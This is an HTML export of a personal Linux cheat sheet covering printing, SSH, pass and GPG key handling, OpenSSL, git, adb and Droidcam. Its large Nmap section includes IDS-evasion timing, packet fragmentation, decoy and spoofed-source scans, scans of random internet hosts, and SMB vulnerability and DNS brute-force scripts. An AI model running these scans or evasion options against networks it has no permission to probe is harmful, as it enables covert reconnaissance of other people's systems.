bluetoothctl commands, use </span><code>echo -e &quot;&lt;command1&gt;\n&lt;command2&gt;\n&quot; | bluetoothctl</code></p></li></ul><h1 id='printing'><span>Printing</span></h1><p><span>Again, lots to do. Reader beware.</span></p><ul><li><p><code>pacman -S cups cups-pdf gutenprint system-config-printer</code></p></li><li><p><code>systemctl enable --now cups</code><span> (reboot may be necessary regardless)</span></p></li><li><p><code>system-config-printer</code></p></li><li><p><span>Google search for the PPD file and add it manually</span></p><ul><li><span>e.g. </span><a href='https://www.openprinting.org/printer/Ricoh/Ricoh-SP_C440DN' target='_blank' class='url'>https://www.openprinting.org/printer/Ricoh/Ricoh-SP_C440DN</a></li></ul></li><li><p><a href='https://gist.github.com/edoz90/660a2a67b9bc8a815ba537530137636a' target='_blank' class='url'>https://gist.github.com/edoz90/660a2a67b9bc8a815ba537530137636a</a></p></li><li><p><a href='https://www.openprinting.org/printer/Ricoh/Ricoh-MP_9003' target='_blank' class='url'>https://www.openprinting.org/printer/Ricoh/Ricoh-MP_9003</a></p></li><li><p><a href='https://wiki.linuxfoundation.org/openprinting/database/cupsdocumentation' target='_blank' class='url'>https://wiki.linuxfoundation.org/openprinting/database/cupsdocumentation</a></p></li><li><p><a href='https://wiki.archlinux.org/index.php/CUPS#Printer_Drivers' target='_blank' class='url'>https://wiki.archlinux.org/index.php/CUPS#Printer_Drivers</a></p></li></ul><p><a href='http://localhost:631' target='_blank' class='url'>http://localhost:631</a><span> is the CUPS web interface.</span></p><p><span>Helpful commands:</span>
<code>lpstat -s</code><span> to view the status of known printers</span>
<code>lpoptions -l</code><span> to list all known options</span>
<code>lpoptions -d Ricoh-SP-C440DN</code><span> to list printing options for Ricoh</span>
<code>lpr -P Ricoh-SP-C440DN &lt;file&gt;</code><span> to print </span><file><span> to Ricoh</span></p><p><span>More:</span>
<a href='https://wiki.archlinux.org/index.php/CUPS#CLI_tools' target='_blank' class='url'>https://wiki.archlinux.org/index.php/CUPS#CLI_tools</a></p><h1 id='hashes-passwords-encryption-and-secrets'><span>Hashes, Passwords, Encryption, and Secrets</span></h1><h1 id='ssh---openssh-thanks-puffy'><span>SSH - OpenSSH (thanks, puffy!)</span></h1><ul><li><span>Generate a SSH key: </span><code>ssh-keygen</code></li><li><span>Add a key to SSH agent: </span><code>eval &quot;$(ssh-agent -s)</code><span> and </span><code>ssh-add ~/.ssh/NAMEOFYOURKEY</code></li><li><span>Copy </span><code>~/.ssh/id_rsa.pub</code><span> to remote-server.org: </span><code>$ ssh-copy-id -i ~/.ssh/is_rsa.pub username@remote-server.org</code></li><li><span>Specify the port that SSH should use: </span><code>$ ssh-copy-id -i ~/.ssh/id_ed25519.pub -p 221 username@remote-server.org</code></li><li><span>Use a specific key to copy a file: </span><code>scp -i ~/.ssh/private_key local_file remote_host:/path/remote_file</code></li></ul><p><span>SSH security (make sure you can login using your key first!) </span><code>/etc/ssh/sshd_config</code><span>:</span>
<code>PasswordAuthentication no</code><span> and </span><code>PermitRootLogin no</code></p><h1 id='password-store'><span>Password Store</span></h1><ul><li><span>Initiate a password-store (requires gpg key): </span><code>pass init &lt;same-email-as-full-gen-key&gt;</code></li><li><span>Allow git to manage the password-store: </span><code>pass git init</code></li><li><span>Insert a new password for somecompany: </span><code>pass insert somecompany</code></li><li><span>Show a password for somecompany: </span><code>pass somecompany</code></li><li><span>Remove a password for somecompany: </span><code>pass rm somecompany</code></li><li><span>Generate a password for mytest of length 10: </span><code>pass generate somecompany 10</code></li><li><span>Copy a password (temporarily) to the clipboard: </span><code>pass -c somecompany</code></li><li><span>Remove password for somecompany: </span><code>pass rm somecompany</code></li><li><span>find existing passwords that match &quot;company&quot;: </span><code>pass find *company*</code></li><li><span>Add additional info to a password (add info separate lines): </span><code>pass edit somecompany</code></li></ul><p><span>TODO: how do we move the store safely? bring keys? can we remotely access the store and have some security still?</span></p><h1 id='passwords-and-secrets'><span>Passwords and Secrets</span></h1><p><span>Don&#39;t even bother - there&#39;s too much security risk here.</span>
<span>I have this here for my own notes.</span>
<span>Figure these things out slowly and carefully on your system.</span></p><ol start='' ><li><span>Install </span><code>gnupg</code><span>, </span><code>pass</code><span>, </span><code>pam-gnupg</code><span>.</span></li><li><span>Import your gpg keys or generate a full key pair: </span><code>gpg --full-gen-key</code></li><li><span>Use a pre-existing </span><code>$PASSWORD_STORE_DIR</code><span>, or:</span>
<span>Initiate a password-store: </span><code>pass init &lt;same-email-as-full-gen-key&gt;</code></li><li><span>Set the </span><code>$GNUPGHOME</code><span> variable (</span><code>~/.local/share/gnupg</code><span> is used here)</span></li></ol><p><span>To import keys:</span></p><ul><li><p><span>(elsewhere) </span><code>gpg --list-secret-keys user@example.com</code></p></li><li><p><span>(elsewhere) </span><code>gpg --export-secret-keys user@example.com &gt; private.key</code></p></li><li><p><span>(new location) </span><code>gpg --import private.key</code></p></li><li><p><span>(new location) To allow the key trust:</span></p><ul><li><span>enter gpg console with </span><code>gpg --edit-key GPGKEY</code></li><li><span>type </span><code>trust</code></li></ul></li><li><p><span>Use </span><code>shred -uz</code><span> (careful!) to destroy the private key in the old location</span></p></li></ul><h1 id='unlocking-keyrings-convenience-vs-security'><span>Unlocking keyrings (convenience vs. security)</span></h1><p><span>This activates </span><code>sudopass</code><span> to allow </span><code>w!!</code><span> in vim, and </span><code>neomutt</code><span> syncing with </span><code>isync</code>
<span>	</span><span>1. Transfer gnupg keys to new machine or create a new one </span><code>gpg --full-key-gen</code>
<span>	</span><span>2. Initialize a password store </span><code>pass init EMAIL</code>
<span>	</span><span>3. Add your sudo password with </span><code>pass add local/USER@HOSTNAME</code>
<span>	</span><span>4. Because my gnupg lives elsewhere,</span>
<span>		</span><span>- Need </span><code>~/.pam_environment</code><span> with:</span>
<span>			</span><span>GNUPGHOME DEFAULT=@{HOME}/.local/share/gnupg</span>
<span>			</span><span>XDG_CONFIG_HOME DEFAULT=@{HOME}/.config</span>
<span>	</span><span>5. Install </span><code>pam-gnupg</code><span> (AUR / github) and</span><code>inetutils</code><span> (enable </span><code>hostname</code><span>)</span>
<span>	</span><span>6. Add </span><code>auth optional pam_gnupg.so</code><span> to </span><code>/etc/pam.d/system-local-login</code>
<span>		</span><span>(see </span><a href='https://github.com/cruegge/pam-gnupg#setup-guide' target='_blank' class='url'>https://github.com/cruegge/pam-gnupg#setup-guide</a><span> if you are using a login manager)</span>
<span>	</span><span>7. Add keygrip from </span><code>gpg -K --with-keygrip</code><span> to </span><code>~/.config/pam-gnupg</code>
<span>	</span><span>   (</span><code>gpg -K --with-keygrip | tail -n2 | grep -Po &quot;(?&lt;=Keygrip = ).*&quot; &gt;&gt; ~/.config/pam-gnupg</code><span>)</span></p><pre class="md-fences md-end-block md-fences-with-lineno ty-contain-cm modeLoaded" spellcheck="false" lang=""><div class="CodeMirror cm-s-inner cm-s-null-scroll CodeMirror-wrap" lang=""><div style="overflow: hidden; position: relative; width: 3px; height: 0px; top: 9.5px; left: 36px;"><textarea autocorrect="off" autocapitalize="off" spellcheck="false" tabindex="0" style="position: absolute; bottom: -1em; padding: 0px; width: 1000px; height: 1em; outline: none;"></textarea></div><div class="CodeMirror-scrollbar-filler" cm-not-content="true"></div><div class="CodeMirror-gutter-filler" cm-not-content="true"></div><div class="CodeMirror-scroll" tabindex="-1"><div class="CodeMirror-sizer" style="margin-left: 28px; margin-bottom: 0px; border-right-width: 0px; padding-right: 0px; padding-bottom: 0px;"><div style="position: relative; top: 0px;"><div class="CodeMirror-lines" role="presentation"><div role="presentation" style="position: relative; outline: none;"><div class="CodeMirror-measure"><pre><span>xxxxxxxxxx</span></pre><div class="CodeMirror-linenumber CodeMirror-gutter-elt"><div>3</div></div></div><div class="CodeMirror-measure"></div><div style="position: relative; z-index: 1;"></div><div class="CodeMirror-code" role="presentation"><div class="CodeMirror-activeline" style="position: relative;"><div class="CodeMirror-activeline-background CodeMirror-linebackground"></div><div class="CodeMirror-gutter-background CodeMirror-activeline-gutter" style="left: -28px; width: 28px;"></div><div class="CodeMirror-gutter-wrapper CodeMirror-activeline-gutter" style="left: -28px;"><div class="CodeMirror-linenumber CodeMirror-gutter-elt CodeMirror-linenumber-show" style="left: 0px; width: 19px;">1</div></div><pre class=" CodeMirror-line " role="presentation"><span role="presentation" style="padding-right: 0.1px;">NOTE: GnuPG may complain about unsafe permissions on gnupg directory:</span></pre></div><div style="position: relative;"><div class="CodeMirror-gutter-wrapper" style="left: -28px;"><div class="CodeMirror-linenumber CodeMirror-gutter-elt" style="left: 0px; width: 19px;">2</div></div><pre class=" CodeMirror-line " role="presentation"><span role="presentation" style="padding-right: 0.1px;">  <span class="cm-tab" role="presentation" cm-text="	">  </span>- Files in `gnupg` should be `600` and directories `700` (use `chmod`)</span></pre></div><div style="position: relative;"><div class="CodeMirror-gutter-wrapper" style="left: -28px;"><div class="CodeMirror-linenumber CodeMirror-gutter-elt CodeMirror-linenumber-show" style="left: 0px; width: 19px;">3</div></div><pre class=" CodeMirror-line " role="presentation"><span role="presentation" style="padding-right: 0.1px;"><span class="cm-tab" role="presentation" cm-text="	">    </span>- `find -type f $GNUPGHOME -exec chmod 600 {}`</span></pre></div></div></div></div></div></div><div style="position: absolute; height: 0px; width: 1px; border-bottom: 0px solid transparent; top: 69px;"></div><div class="CodeMirror-gutters" style="height: 69px;"><div class="CodeMirror-gutter CodeMirror-linenumbers" style="width: 27px;"></div></div></div></div></pre><h1 id='gpg---gnupg'><span>GPG - GnuPG</span></h1><ul><li><span>Sign </span><code>doc.txt</code><span> without encryption (writes output to </span><code>doc.txt.asc</code><span>): </span><code>gpg --clearsign doc.txt</code></li><li><span>Encrypt </span><code>doc.txt</code><span> for </span><a href='mailto:alice@example.com' target='_blank' class='url'>alice@example.com</a><span> (output to </span><code>doc.txt.gpg</code><span>): </span><code>gpg --encrypt --recipient alice@example.com doc.txt</code></li><li><span>Encrypt </span><code>doc.txt</code><span> with only a passphrase (output to </span><code>doc.txt.gpg</code><span>): </span><code>gpg --symmetric doc.txt</code></li><li><span>Decrypt </span><code>doc.txt.gpg</code><span> (output to stdout): </span><code>gpg --decrypt doc.txt.gpg</code></li><li><span>Import a public key: </span><code>gpg --import public.gpg</code></li><li><span>Export public key for </span><a href='mailto:alice@example.com' target='_blank' class='url'>alice@example.com</a><span> (output to stdout): </span><code>gpg --export --armor alice@example.com</code></li><li><span>Export private key for </span><a href='mailto:alice@example.com' target='_blank' class='url'>alice@example.com</a><span> (output to stdout): </span><code>gpg --export-secret-keys --armor alice@example.com</code></li><li><span>Make an encrypted archive of local dir/ on remote machine using ssh: </span><code>tar -c dir/ | gzip | gpg -c | ssh user@remote &#39;dd of=dir.tar.gz.gpg&#39;</code></li><li><span>Encrypted archive with openssl and tar: </span><code>tar --create --file - --posix --gzip -- &lt;dir&gt; | openssl enc -e -aes256 -out &lt;file&gt;</code></li><li><span>Compute and check MD5 message digest: </span><code>md5sum -c filename.md5</code></li></ul><h1 id='openssl'><span>OpenSSL</span></h1><ul><li><span>Encrypt a file using OpenSSL: </span><code>openssl aes-256-cbc -a -salt -iter 5 -in data.tar.gz -out data.enc</code></li><li><span>Decrypt a file using OpenSSL: </span><code>openssl aes-256-cbc -d -a -iter 5 -in data.enc -out data_decrypted.tar.gz</code></li><li><span>List SAN domains for a certificate: </span><code>echo | openssl s_client -connect google.com:443 2&gt;&amp;1 | openssl x509 -noout -text |  awk -F, -v OFS=&quot;\n&quot; &#39;/DNS:/{x=gsub(/ *DNS:/, &quot;&quot;); $1=$1; print $0}&#39;</code></li><li><span>Download certificate from FTP: </span><code>echo | openssl s_client -servername ftp.domain.com -connect ftp.domain.com:21 -starttls ftp 2&gt;/dev/null | sed -ne &#39;/-BEGIN CERTIFICATE-/,/-END CERTIFICATE-/p&#39;</code></li><li><span>Download certificate chain from FTP: </span><code>echo | openssl s_client -showcerts -connect ftp.domain.com:ftp -starttls ftp 2&gt;/dev/null | sed -ne &#39;/-BEGIN CERTIFICATE-/,/-END CERTIFICATE-/p&#39;</code></li><li><span>Check SSL expiry from commandline: </span><code>echo | openssl s_client -showcerts -servername google.com -connect gnupg.org:443 2&gt;/dev/null | openssl x509 -inform pem -noout -text</code></li><li><span>SHA256 signature sum check of file: </span><code>openssl dgst -sha256  &lt;FILENAME&gt;</code></li><li><span>Generate a random password 30 characters long: </span><code>openssl rand -rand /dev/urandom -base64 30</code></li><li><span>Openssl Generate Self Signed SSL Certifcate: </span><code>openssl req -newkey rsa:2048 -nodes -keyout /etc/ssl/private/myblog.key -x509 -days 365 -out /etc/ssl/private/myblog.pem</code></li><li><span>Generate a certificate signing request (CSR) for an existing private key. CSR.csr MUST be exists before: </span><code>openssl req -out CSR.csr -key privateKey.key -new</code></li><li><span>Generate a new private key and Certificate Signing Request. CSR.csr MUST be extist before !: </span><code>openssl req -out CSR.csr -new -newkey rsa:2048 -nodes -keyout privateKey.key</code></li><li><span>Generate pem cert from host with ssl port: </span><code>openssl s_client -connect HOSTNAME.at:443 -showcerts &lt;/dev/null 2&gt;/dev/null | openssl x509 -outform PEM &gt; meinzertifikat.pem</code></li><li><span>Download SSL/TLS pem format cert from https web host: </span><code>openssl s_client -showcerts -connect google.com:443 &lt;/dev/null 2&gt;/dev/null|openssl x509 -outform PEM &gt; /tmp/google.com.cer</code></li><li><span>Host cpu performance: </span><code>openssl speed md5</code></li><li><span>Finding the fingerprint of a given certificate: </span><code>openssl x509 -in cert.pem -fingerprint -noout</code></li><li><span>Generate a certificate signing request based on an existing certificate. certificate.crt MUST be exists before !: </span><code>openssl x509 -x509toreq -in certificate.crt -out CSR.csr -signkey privateKey.key</code></li><li><span>Connect to a server and show full certificate chain: </span><code>openssl s_client -showcerts -host example.com -port 443 &lt;/dev/null</code></li></ul><h1 id='nmap'><span>Nmap</span></h1><h2 id='target-specification'><span>Target Specification</span></h2><ul><li><span>Scan a single IP: </span><code>nmap 192.168.1.1</code></li><li><span>Scan specific IPs: </span><code>nmap 192.168.1.1 192.168.2.1</code></li><li><span>Scan a range: </span><code>nmap 192.168.1.1-254</code></li><li><span>Scan a domain: </span><code>nmap scanme.nmap.org</code></li><li><span>Scan using CIDR notation: </span><code>nmap 192.168.1.0/24</code></li><li><span>Scan targets from a file: </span><code>nmap -iL targets.txt</code></li><li><span>Scan 100 random hosts: </span><code>nmap -iR 100</code></li><li><span>Exclude listed hosts: </span><code>nmap --exclude 192.168.1.1</code></li></ul><h2 id='scan-techniques'><span>Scan Techniques</span></h2><ul><li><span>TCP SYN port scan (Default): </span><code>nmap 192.168.1.1 -sS</code></li><li><span>TCP connect port scan (Default without root privilege): </span><code>nmap 192.168.1.1 -sT</code></li><li><span>UDP port scan: </span><code>nmap 192.168.1.1 -sU</code></li><li><span>TCP ACK port scan: </span><code>nmap 192.168.1.1 -sA</code></li><li><span>TCP Window port scan: </span><code>nmap 192.168.1.1 -sW</code></li><li><span>TCP Maimon port scan: </span><code>nmap 192.168.1.1 -sM</code></li></ul><h2 id='host-discovery'><span>Host Discovery</span></h2><ul><li><span>No Scan. List targets only: </span><code>nmap 192.168.1.1-3 -sL</code></li><li><span>Disable port scanning. Host discovery only.: </span><code>nmap 192.168.1.1/24 -sn</code></li><li><span>Disable host discovery. Port scan only.: </span><code>nmap 192.168.1.1-5 -Pn</code></li><li><span>TCP SYN discovery on port x. Port 80 by default: </span><code>nmap 192.168.1.1-5 -PS22-25,80</code></li><li><span>TCP ACK discovery on port x. Port 80 by default: </span><code>nmap 192.168.1.1-5 -PA22-25,80</code></li><li><span>UDP discovery on port x. Port 40125 by default: </span><code>nmap 192.168.1.1-5 -PU53</code></li><li><span>ARP discovery on local network: </span><code>nmap 192.168.1.1-1/24 -PR</code></li><li><span>Never do DNS resolution: </span><code>nmap 192.168.1.1 -n</code></li></ul><h2 id='port-specifications'><span>Port Specifications</span></h2><ul><li><span>Port scan for port x: </span><code>nmap 192.168.1.1 -p 21</code></li><li><span>Port range: </span><code>nmap 192.168.1.1 -p 21-100</code></li><li><span>Port scan multiple TCP and UDP ports: </span><code>nmap 192.168.1.1 -p U:53,T:21-25,80</code></li><li><span>Port scan all ports: </span><code>nmap 192.168.1.1 -p-</code></li><li><span>Port scan from service name: </span><code>nmap 192.168.1.1 -p http,https</code></li><li><span>Fast port scan (100 ports): </span><code>nmap 192.168.1.1 -F</code></li><li><span>Port scan the top x ports: </span><code>nmap 192.168.1.1 --top-ports 2000</code></li><li><span>Leaving off initial port in range makes the scan start at port 1: </span><code>nmap 192.168.1.1 -p-65535</code></li><li><span>Leaving off end port in range makes the scan go through to port 65535: </span><code>nmap 192.168.1.1 -p0-</code></li></ul><h2 id='service-and-version-detection'><span>Service and Version Detection</span></h2><ul><li><span>Attempts to determine the version of the service running on port: </span><code>nmap 192.168.1.1 -sV</code></li><li><span>Intensity level 0 to 9. Higher number increases possibility of correctness: </span><code>nmap 192.168.1.1 -sV --version-intensity 8</code></li><li><span>Enable light mode. Lower possibility of correctness. Faster: </span><code>nmap 192.168.1.1 -sV --version-light</code></li><li><span>Enable intensity level 9. Higher possibility of correctness. Slower: </span><code>nmap 192.168.1.1 -sV --version-all</code></li><li><span>Enables OS detection, version detection, script scanning, and traceroute: </span><code>nmap 192.168.1.1 -A</code></li></ul><h2 id='os-detection'><span>OS Detection</span></h2><ul><li><span>Remote OS detection using TCP/IP stack fingerprinting: </span><code>nmap 192.168.1.1 -O</code></li><li><span>If at least one open and one closed TCP port are not found it will not try OS detection against host: </span><code>nmap 192.168.1.1 -O --osscan-limit</code></li><li><span>Makes Nmap guess more aggressively: </span><code>nmap 192.168.1.1 -O --osscan-guess</code></li><li><span>Set the maximum number x of OS detection tries against a target: </span><code>nmap 192.168.1.1 -O --max-os-tries 1</code></li><li><span>Enables OS detection, version detection, script scanning, and traceroute: </span><code>nmap 192.168.1.1 -A</code></li></ul><h2 id='timing-and-performance'><span>Timing and Performance</span></h2><ul><li><span>Paranoid (0) Intrusion Detection System evasion: </span><code>nmap 192.168.1.1 -T0</code></li><li><span>Sneaky (1) Intrusion Detection System evasion: </span><code>nmap 192.168.1.1 -T1</code></li><li><span>Polite (2) slows down the scan to use less bandwidth and use less target machine resources: </span><code>nmap 192.168.1.1 -T2</code></li><li><span>Normal (3) which is default speed: </span><code>nmap 192.168.1.1 -T3</code></li><li><span>Aggressive (4) speeds scans; assumes you are on a reasonably fast and reliable network: </span><code>nmap 192.168.1.1 -T4</code></li><li><span>Insane (5) speeds scan; assumes you are on an extraordinarily fast network: </span><code>nmap 192.168.1.1 -T5</code></li></ul><p><span>TODO (original website did not have complete examples):</span>
<span>Give up on target after this long: </span><code>1s; 4m; 2h</code>
<span>Specifies probe round trip time: </span><code>1s; 4m; 2h</code>
<span>Parallel host scan group sizes: </span><code>50; 1024</code>
<span>Probe parallelization: </span><code>10; 1</code>
<span>Adjust delay between probes: </span><code>20ms; 2s; 4m; 5h</code>
<span>Specify the maximum number of port scan probe retransmissions</span>
<span>Send packets no slower than </span><numberr><span> per second</span>
<span>Send packets no faster than </span><number><span> per second</span></p><h2 id='nse-scripts'><span>NSE Scripts</span></h2><ul><li><span>Scan with default NSE scripts. Considered useful for discovery and safe: </span><code>nmap 192.168.1.1 -sC</code></li><li><span>Scan with default NSE scripts. Considered useful for discovery and safe: </span><code>nmap 192.168.1.1 --script default</code></li><li><span>Scan with a single script. Example banner: </span><code>nmap 192.168.1.1 --script=banner</code></li><li><span>Scan with a wildcard. Example http: </span><code>nmap 192.168.1.1 --script=http*</code></li><li><span>Scan with two scripts. Example http and banner: </span><code>nmap 192.168.1.1 --script=http,banner</code></li><li><span>Scan default, but remove intrusive scripts: </span><code>nmap 192.168.1.1 --script &quot;not intrusive&quot;</code></li><li><span>NSE script with arguments: </span><code>nmap --script snmp-sysdescr --script-args snmpcommunity=admin 192.168.1.1</code></li></ul><h2 id='useful-nse-script-examples'><span>Useful NSE Script Examples</span></h2><ul><li><span>http site map generator: </span><code>nmap -Pn --script=http-sitemap-generator scanme.nmap.org</code></li><li><span>Fast search for random web servers: </span><code>nmap -n -Pn -p 80 --open -sV -vvv --script banner,http-title -iR 1000</code></li><li><span>Brute forces DNS hostnames guessing subdomains: </span><code>nmap -Pn --script=dns-brute domain.com</code></li><li><span>Safe SMB scripts to run: </span><code>nmap -n -Pn -vv -O -sV --script smb-enum*,smb-ls,smb-mbenum,smb-os-discovery,smb-s*,smb-vuln*,smbv2* -vv 192.168.1.1</code></li><li><span>Whois query: </span><code>nmap --script whois* domain.com</code></li><li><span>Detect cross site scripting vulnerabilities: </span><code>nmap -p80 --script http-unsafe-output-escaping scanme.nmap.org</code></li><li><span>Check for SQL injections: </span><code>nmap -p80 --script http-sql-injection scanme.nmap.org</code></li><li><span>Example IDS Evasion command: </span><code>nmap -f -t 0 -n -Pn –data-length 200 -D 192.168.1.101,192.168.1.102,192.168.1.103,192.168.1.23 192.168.1.1</code></li></ul><h2 id='firewall--ids-evasion-and-spoofing'><span>Firewall / IDS Evasion and Spoofing</span></h2><ul><li><span>Requested scan (including ping scans) use tiny fragmented IP packets. Harder for packet filters: </span><code>nmap 192.168.1.1 -f</code></li><li><span>Set your own offset size: </span><code>nmap 192.168.1.1 --mtu 32</code></li><li><span>Send scans from spoofed IPs: </span><code>nmap -D 192.168.1.101,192.168.1.102, 192.168.1.103,192.168.1.23 192.168.1.1</code></li><li><span>Above example explained: </span><code>nmap -D decoy-ip1,decoy-ip2,your-own-ip,decoy-ip3,decoy-ip4 remote-host-ip</code></li><li><span>Scan Facebook from Microsoft (-e eth0 -Pn may be required): </span><code>nmap -S www.microsoft.com www.facebook.com</code></li><li><span>Use given source port number: </span><code>nmap -g 53 192.168.1.1</code></li><li><span>Relay connections through HTTP/SOCKS4 proxies: </span><code>nmap --proxies http://192.168.1.1:8080, http://192.168.1.2:8080 192.168.1.1</code></li><li><span>Appends random data to sent packets: </span><code>nmap --data-length 200 192.168.1.1</code></li></ul><h2 id='output'><span>Output</span></h2><ul><li><span>Normal output to the file normal.file: </span><code>nmap 192.168.1.1 -oN normal.file</code></li><li><span>XML output to the file xml.file: </span><code>nmap 192.168.1.1 -oX xml.file</code></li><li><span>Grepable output to the file grep.file: </span><code>nmap 192.168.1.1 -oG grep.file</code></li><li><span>Output in the three major formats at once: </span><code>nmap 192.168.1.1 -oA results</code></li><li><span>Grepable output to screen.: </span><code>nmap 192.168.1.1 -oG -</code></li><li><span>Append a scan to a previous scan file: </span><code>nmap 192.168.1.1 -oN file.file --append-output</code></li><li><span>Increase the verbosity level (use -vv or more for greater effect): </span><code>nmap 192.168.1.1 -v</code></li><li><span>Increase debugging level (use -dd or more for greater effect): </span><code>nmap 192.168.1.1 -d</code></li><li><span>Display the reason a port is in a particular state, same output as -vv: </span><code>nmap 192.168.1.1 --reason</code></li><li><span>Only show open (or possibly open) ports: </span><code>nmap 192.168.1.1 --open</code></li><li><span>Show all packets sent and received: </span><code>nmap 192.168.1.1 -T4 --packet-trace</code></li><li><span>Shows the host interfaces and routes: </span><code>nmap --iflist</code></li><li><span>Resume a scan: </span><code>nmap --resume results.file</code></li></ul><h2 id='helpful-nmap-output-examples'><span>Helpful Nmap Output Examples</span></h2><ul><li><span>Scan for web servers and grep to show which IPs are running web servers: </span><code>nmap -p80 -sV -oG - --open 192.168.1.1/24 | grep open</code></li><li><span>Generate a list of the IPs of live hosts: </span><code>nmap -iR 10 -n -oX out.xml | grep &quot;Nmap&quot; | cut -d &quot; &quot; -f5 &gt; live-hosts.txt</code></li><li><span>Append IP to the list of live hosts: </span><code>nmap -iR 10 -n -oX out2.xml | grep &quot;Nmap&quot; | cut -d &quot; &quot; -f5 &gt;&gt; live-hosts.txt</code></li><li><span>Append IP to the list of live hosts: </span><code>ndiff scanl.xml scan2.xml</code></li><li><span>Convert nmap xml files to html files: </span><code>xsltproc nmap.xml -o nmap.html</code></li><li><span>Convert nmap xml files to html files: </span><code>grep &quot; open &quot; results.nmap | sed -r &#39;s/ +/ /g&#39; | sort | uniq -c | sort -rn | less</code></li></ul><h2 id='miscellaneous-options'><span>Miscellaneous Options</span></h2><ul><li><span>Discovery only on ports x, no port scan: </span><code>nmap -iR 10 -PS22-25,80,113,1050,35000 -v -sn</code></li><li><span>Arp discovery only on local network, no port scan: </span><code>nmap 192.168.1.1-1/24 -PR -sn -vv</code></li><li><span>Traceroute to random targets, no port scan: </span><code>nmap -iR 10 -sn -traceroute</code></li><li><span>Query the Internal DNS for hosts, list targets only: </span><code>nmap 192.168.1.1-50 -sL --dns-server 192.168.1.1</code></li></ul><h1 id='fonts'><span>Fonts</span></h1><ul><li><span>Search for installed fonts: </span><code>fc-list</code></li><li><span>How to find out what fonts </span><code>st</code><span> is using: </span><code>lsof -p $(ps -o pid --no-headers -C st) | grep fonts</code></li></ul><h1 id='git'><span>Git</span></h1><ul><li><span>Take a look at a different branch: </span><code>git checkout name-of-branch</code></li><li><span>Stage files from another branch: </span><code>git checkout NAMEOFTHEBRANCH FILE1 FILE2</code></li><li><span>Revert a file to two commits back: </span><code>git checkout HEAD~2 -- file1/to/restore</code></li><li><span>Revert a file to a specific version (you&#39;ll have to find the sha1 first): </span><code>git checkout c5f567 -- file1/to/restore file2/to/restore</code></li><li><span>Filter out untracked files: </span><code>git status --untracked-files=no</code></li><li><span>Use </span><code>compact-summary</code><span> to compare two branches with a simple summary: </span><code>git diff --compact-summary &lt;branch1&gt; &lt;branch2&gt;</code></li><li><span>Use the </span><code>-b</code><span> switch to make a new branch and carry over staged files.: </span><code>git checkout -b name-of-new-branch</code></li><li><span>See where settings are coming from: </span><code>git config --show-origin --list</code></li><li><span>Nice git aliases to visualize git log: </span><code>git config --global alias.lg2 &quot;log --graph --abbrev-commit --decorate --format=format:&#39;%C(bold blue)%h%C(reset) - %C(bold cyan)%aD%C(reset) %C(bold green)(%ar)%C(reset)%C(bold yellow)%d%C(reset)%n&#39;&#39;%C(white)%s%C(reset) %C(dim white)- %an%C(reset)&#39; --all&quot;</code></li></ul><h1 id='android-adb-and-droidcam'><span>Android ADB and Droidcam</span></h1><ul><li><span>Launches camera via adb: </span><code>adb shell &quot;input keyevent KEYCODE_CAMERA&quot;</code></li><li><span>Lists keys: </span><code>adb shell getevent -pl</code></li><li><span>List installed packages: </span><code>adb shell pm list packages</code></li><li><span>Open application: </span><code>adb shell monkey -p com.dev47apps.droidcamx 1</code></li><li><span>Send on/off key press (activates screen): </span><code>adb shell input keyevent 26</code></li></ul><p><span>You want to be able to combine an audio and microphone sink to share while live streaming: </span><a href='https://www.reddit.com/r/archlinux/comments/klmyec/how_to_play_audio_files_as_input/ghaclhs?utm_source=share&amp;utm_medium=web2x&amp;context=3' target='_blank' class='url'>https://www.reddit.com/r/archlinux/comments/klmyec/how_to_play_audio_files_as_input/ghaclhs?utm_source=share&utm_medium=web2x&context=3</a></p><ul><li><span>List all sinks (or other types - sinks are outputs and sink-inputs are active audio streams): </span><code>pactl list sinks short</code></li><li><span>Change the default sink (output) to 1 (the number can be retrieved via the </span><code>list</code><span> subcommand): </span><code>pactl set-default-sink 1</code></li><li><span>Move sink-input 627 to sink 1: </span><code>pactl move-sink-input 627 1</code></li><li><span>Set the volume of sink 1 to 75%: </span><code>pactl set-sink-volume 1 0.75</code></li><li><span>Toggle mute on the default sink (using the special name </span><code>@DEFAULT_SINK@</code><span>): </span><code>pactl set-sink-mute @DEFAULT_SINK@ toggle</code></li></ul><h2 id='droidcam---droidcamx'><span>Droidcam - DroidcamX</span></h2><p><span>Home security, using your phone as a camera, what&#39;s not to love?</span>
<span>DroidcamX is worth the $5 or whatever - it&#39;s really good.</span></p><h2 id='adb-setup'><span>ADB setup</span></h2><ul><li><span>(Phone) Install </span><code>Droidcam</code><span> app - </span><code>DroidcamX</code><span> is a way better alternative (not free)</span></li><li><span>(Phone) Enable USB debugging (research this for your phone)</span></li><li><span>Install linux headers (e.g. </span><code>linux-headers-lts</code><span> for the lts kernel, etc.)</span></li><li><span>Install </span><code>adb</code><span> and </span><code>droidcam</code><span> packages (installs </span><code>v4l2loopback-dc-dkms</code><span>)</span></li><li><span>Create a video loopback device </span><code>sudo modprobe v4l2loopback_dc video_nr=42</code></li><li><span>Optional? Start adb, </span><code>adb start-server</code></li><li><span>(Phone) confirm connection (a dialog box should open)</span></li><li><span>Confirm connection to phone, </span><code>adb devices</code></li></ul><h2 id='droidcam-video-only-over-usb'><span>Droidcam video only (over USB)</span></h2><ol start='' ><li><code>droidcam-cli -v adb 4747 &amp;</code><span> or </span><code>droidcam</code></li></ol><h2 id='droidcam-with-video-and-microphone'><span>Droidcam with video and microphone</span></h2><ol start='' ><li><span>Load </span><code>droidcam</code><span> on phone and then on computer</span></li><li><span>Create a pulse-alsa loopback device: </span><code>pacmd load-module module-alsa-source device=hw:Loopback,1,0</code></li><li><span>Run </span><code>pactl list short sources</code><span> to verify the ID of the loopback device (used in ffmpeg recording)</span></li><li><span>Use </span><code>pavucontrol</code><span> to verify that the phone microphone is active</span></li></ol><h2 id='viewing-the-feed'><span>Viewing the feed</span></h2><ul><li><code>ffplay /dev/videoX</code><span> - replace X with your device</span></li><li><span>Flipped video: </span><code>ffplay -vf &quot;vflip,hflip&quot; /dev/video0</code></li></ul><h2 id='increase-the-resolution-available-to-droidcam'><span>Increase the resolution available to droidcam</span></h2><ul><li><code>sudo rmmod v4l2loopback_dc</code></li><li><code>sudo insmod /lib/modules/</code><span>uname -r</span><code>/kernel/extramodules/v4l2loopback-dc.ko width=1920 height=1080</code>
<span>Restart the droidcam client to reload the settings, and test it out. You can keep changing the resolution.</span>
